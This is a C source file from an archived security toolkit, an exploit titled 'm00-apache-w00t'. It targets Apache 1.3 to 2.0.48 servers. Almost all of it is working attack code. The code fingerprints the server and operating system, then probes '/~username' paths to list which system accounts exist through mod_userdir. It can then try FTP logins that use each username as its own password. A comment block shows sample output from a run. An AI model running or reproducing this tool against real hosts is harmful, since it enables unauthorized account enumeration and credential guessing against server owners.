home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / apache / apacheIddisclosure.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  7KB  |  303 lines

  1. /* m00-apache-w00t.c
  2. *
  3. * Apache 1.3.*-2.0.48 remote users disclosure exploit by m00 Security.
  4. * ~ Proof-of-Concept edition ~
  5. *
  6. * This tool scans remote hosts with httpd (apache) and disclosure information
  7. * about existens users accounts via wrong default configuration of mod_userdir
  8. * (default apache module). Then attempts to log on ftp with found logins.
  9. *
  10. * Works only against Linux and *BSD boxes.
  11. * Info: http://archives.neohapsis.com/archives/vuln-dev/2000-q3/0065.html
  12. * This is old, but curentlly still actual problem, because 99% of all admins use
  13. * default configuration of apache http server.
  14. *
  15. * This tool scans remote hosts with httpd (apache) and disclosure information 
  16. * about existens users accounts via wrong default configuration of mod_userdir 
  17. * (default apache module). Then attempts to log on ftp with found logins.
  18. * -d4rkgr3y
  19. *
  20. * sh-2.05b$ ./m00-apache-w00t -t localhost -u test_userlist.txt -b
  21. * [*] Apache 1.3.*-2.0.48 remote users disclosure exploit by m00 Security.
  22. * [*] Checking http server [localhost:80]...
  23. * Apache => yes
  24. * Vulnerable => yes
  25. * OS => Mandrake Linux
  26. * [*] Searching for system accounts...
  27. * sergey =>
  28. * m00 =>
  29. * satan => yes
  30. * evil =>
  31. * poison =>
  32. * god =>
  33. * guest =>
  34. * dima =>
  35. * ftp => yes
  36. * vasya =>
  37. * rst =>
  38. * vasi =>
  39. * [*] Searching complete.
  40. * 12 users checked
  41. * 2 users found
  42. * [*] Attempting to log on ftp with login:login...
  43. * satan:satan => no
  44. * ftp:ftp => no
  45. * [*] Complete.
  46. * 0 ftp accounts found
  47. */
  48.  
  49. #include <stdio.h>
  50. #include <stdlib.h>
  51. #include <unistd.h>
  52. #include <errno.h>
  53. #include <sys/socket.h>
  54. #include <sys/types.h>
  55. #include <netinet/in.h>
  56. #include <netdb.h>
  57.  
  58. #define DEFAULT_HTTP_PORT 80
  59. #define DEFAULT_FTP_PORT 21
  60.  
  61. int m00() {
  62. printf("\n[*] Apache 1.3.*-2.0.48 remote users disclosure exploit by m00 Security.\n\n");
  63. printf("\n[*] Downloaded on www.K-OTIK.com\n\n");
  64. }
  65.  
  66. int verbose(char *d) {
  67. printf("+-----------------------o0o-----------------------+\n");
  68. printf("\n%s",d);
  69. printf("+-----------------------o0o-----------------------+\n");
  70. }
  71.  
  72. int usage(char *xplname) {
  73. printf("[~] usage: %s -t <host> -u <userlist> [options]\n\n",xplname);
  74. printf("Options:\n");
  75. printf("-p <port> - http port [80]\n");
  76. printf("-l <log_file> - log all attempts to file\n");
  77. printf("-b - try to log on ftp with guessed logins (public version only login:login)\n");
  78. printf("-h - usage\n");
  79. printf("\n");
  80. exit(0);
  81. }
  82.  
  83. int attempt(char *argv);
  84.  
  85. int conn(char *ip, unsigned short port) {
  86. struct hostent *hs;
  87. struct sockaddr_in sock;
  88. int sockfd;
  89. bzero(&sock, sizeof(sock));
  90. sock.sin_family = AF_INET;
  91. sock.sin_port = htons(port);
  92. if ((sock.sin_addr.s_addr=inet_addr(ip))==-1) {
  93. if ((hs=gethostbyname(ip))==NULL) {
  94. perror("[-] Error"); exit(0);
  95. }
  96. sock.sin_family = hs->h_addrtype;
  97. memcpy((caddr_t)&sock.sin_addr.s_addr,hs->h_addr,hs->h_length);
  98. }
  99. if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
  100. perror("[-] Error"); exit(0);
  101. }
  102. if(connect(sockfd, (struct sockaddr *)&sock, sizeof(sock)) < 0){
  103. perror("[-] Error "); exit(0);
  104. }
  105. return(sockfd);
  106. }
  107.  
  108.  
  109. int main(int argc, char *argv[]) {
  110. FILE *userlist, *logfile;
  111. char *file=NULL;
  112. char *lfile=NULL;
  113. char *host=NULL;
  114. char buf[0x20], check[0x20], request[0xc8], answer[0x3e8], c,logd[0x30];
  115. int i,hand,x,f,v=0,brute=0;
  116. int port = DEFAULT_HTTP_PORT;
  117. int fport = DEFAULT_FTP_PORT;
  118.  
  119. char c200[0x05] =
  120. "\x20\x32\x30\x30\x20";
  121. char c403[0x0e] =
  122. "\x34\x30\x33\x20\x46\x6f"
  123. "\x72\x62\x69\x64\x64\x65\x6e";
  124. char c404[0x0e] =
  125. "\x34\x30\x34\x20\x4e\x6f\x74"
  126. "\x20\x46\x6f\x75\x6e\x64";
  127. char signature[0x0f] =
  128. "\x53\x65\x72\x76\x65\x72\x3a"
  129. "\x20\x41\x70\x61\x63\x68\x65";
  130. char *http =
  131. "Accept: */*\r\n"
  132. "Accept-Language: en-us,en;q=0.5\r\n"
  133. "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"
  134. "User-Agent: m00-apache-finger\r\n"
  135. "Connection: close\r\n\r\n";
  136. char **logz;
  137.  
  138. m00();
  139.  
  140. if(argc<2) usage(argv[0]);
  141. while((c = getopt(argc, argv, "t:u:hp:vbl:"))!= EOF) {
  142. switch (c) {
  143. case 't':
  144. host=optarg;
  145. break;
  146. case 'u':
  147. file=optarg;
  148. break;
  149. case 'p':
  150. port=atoi(optarg);
  151. break;
  152. case 'l':
  153. lfile=optarg;
  154. break;
  155. case 'b':
  156. brute=1;
  157. break;
  158. case 'v':
  159. v=1;
  160. break;
  161. case 'h':
  162. usage(argv[0]);
  163. return 1;
  164. default:
  165. usage(argv[0]);
  166. return 1;
  167. }
  168. }
  169.  
  170. if(host==NULL) { usage(argv[0]); }
  171. if(file==NULL) { usage(argv[0]); }
  172.  
  173. if(lfile && (logfile = fopen(lfile, "a")) == 0) {
  174. printf("[-] unable to open logfile [%s]\n",lfile);
  175. exit(0);
  176. }
  177.  
  178. if((userlist = fopen(file, "r")) == 0) {
  179. printf("[-] unable to open userlist [%s]\n",file);
  180. exit(0);
  181. }
  182.  
  183. logz = (char **)malloc(0x666);
  184.  
  185. printf("[*] Checking http server [%s:%i]...\n",host,port);
  186.  
  187. hand = conn(host,port);
  188. sprintf(request,"HEAD /~root HTTP/1.1\r\nHost: %s\r\n%s",host,http);
  189.  
  190. write(hand,request,strlen(request));
  191. recv(hand,answer,0x3e8,0);
  192.  
  193. if(v) verbose(answer);
  194.  
  195. printf(" Apache => ");
  196. if(!strstr(answer,signature)) { printf(" no\n Vulnerable => "); } else printf(" yes\n Vulnerable => ");
  197. if(!strstr(answer,c403)) { printf("no\n[-] Exiting...\n"); exit(0); } else printf("yes\n");
  198. close(hand);
  199.  
  200. hand = conn(host,port);
  201. sprintf(request,"HEAD /~toor HTTP/1.1\r\nHost: %s\r\n%s",host,http);
  202. write(hand,request,strlen(request));
  203. recv(hand,answer,0x3e8,0);
  204.  
  205. if(v) verbose(answer);
  206.  
  207. printf(" OS => ");
  208. if(strstr(answer,c403)) { printf("FreeBSD"); } else {
  209. if(strstr(answer,"Unix")) printf("Unix unknow");
  210. if(strstr(answer,"Debian")) printf("Debian Linux");
  211. if(strstr(answer,"RedHat")) printf("RedHat Linux");
  212. if(strstr(answer,"mdk")) printf("Mandrake Linux");
  213. }
  214. close(hand);
  215.  
  216. printf("\n[*] Searching for system accounts...");
  217.  
  218. if(lfile) {
  219. sprintf(logd,"Host: %s\nFound accounts:\n",host);
  220. fprintf(logfile,logd);
  221. }
  222.  
  223.  
  224. x=0;
  225. f=0;
  226. while (1) {
  227. fgets(buf, 32, userlist);
  228. if (buf[0] == '\n' || strstr(check,buf)) break;
  229. strcpy(check,buf);
  230. buf[strlen(buf)-1] = '\0';
  231. x++;
  232.  
  233. printf("\n %s \t=> ",buf);
  234.  
  235.  
  236. hand = conn(host,port);
  237. sprintf(request,"HEAD /~%s HTTP/1.1\r\nHost: %s\r\n%s",buf,host,http);
  238.  
  239. write(hand,request,strlen(request));
  240. recv(hand,answer,0x3e8,0);
  241.  
  242. if(v) verbose(answer);
  243.  
  244. if(!strstr(answer,c404)) {
  245. printf(" yes",buf);
  246. if(lfile) {
  247. sprintf(logd,"%s\n",buf);
  248. fprintf(logfile,logd);
  249. }
  250. logz[f] = (char *)malloc(strlen(buf));
  251. memcpy(logz[f],buf,strlen(buf));
  252. memset(logz[f]+strlen(buf),0x0,1);
  253. f++;
  254. }
  255. close(hand);
  256. }
  257. fclose(userlist);
  258. printf("\n[*] Searching complete.\n");
  259. printf(" %i users checked\n %i users found\n",x,f);
  260. if(brute && f>0) {
  261. x=0;
  262. i=0;
  263. if(lfile) {
  264. sprintf(logd,"FTP:\n");
  265. fprintf(logfile,logd);
  266. }
  267. printf("[*] Attempting to log on ftp with login:login...\n");
  268. while(x!=f) {
  269. printf(" %s:%s \t=>",logz[x],logz[x]);
  270. hand = conn(host,fport);
  271.  
  272. sprintf(request,"USER %s\n",logz[x]);
  273. write(hand,request,strlen(request));
  274. recv(hand,answer,0x3e8,0);
  275.  
  276. sprintf(request,"PASS %s\n",logz[x]);
  277. write(hand,request,strlen(request));
  278. recv(hand,answer,0x3e8,0);
  279. if(strstr(answer,"230")) {
  280. printf(" yes\n");
  281. if(lfile) {
  282. sprintf(logd,"%s:%s\n",logz[x],logz[x]);
  283. fprintf(logfile,logd);
  284. }
  285. i++;
  286. } else printf(" no\n");
  287. close(hand);
  288. x++;
  289. }
  290. printf("[*] Complete.\n");
  291. printf(" %i ftp accounts found\n",i);
  292. }
  293. if(lfile) {
  294. fprintf(logfile,"\n");
  295. fclose(logfile);
  296. }
  297.  
  298. }
  299.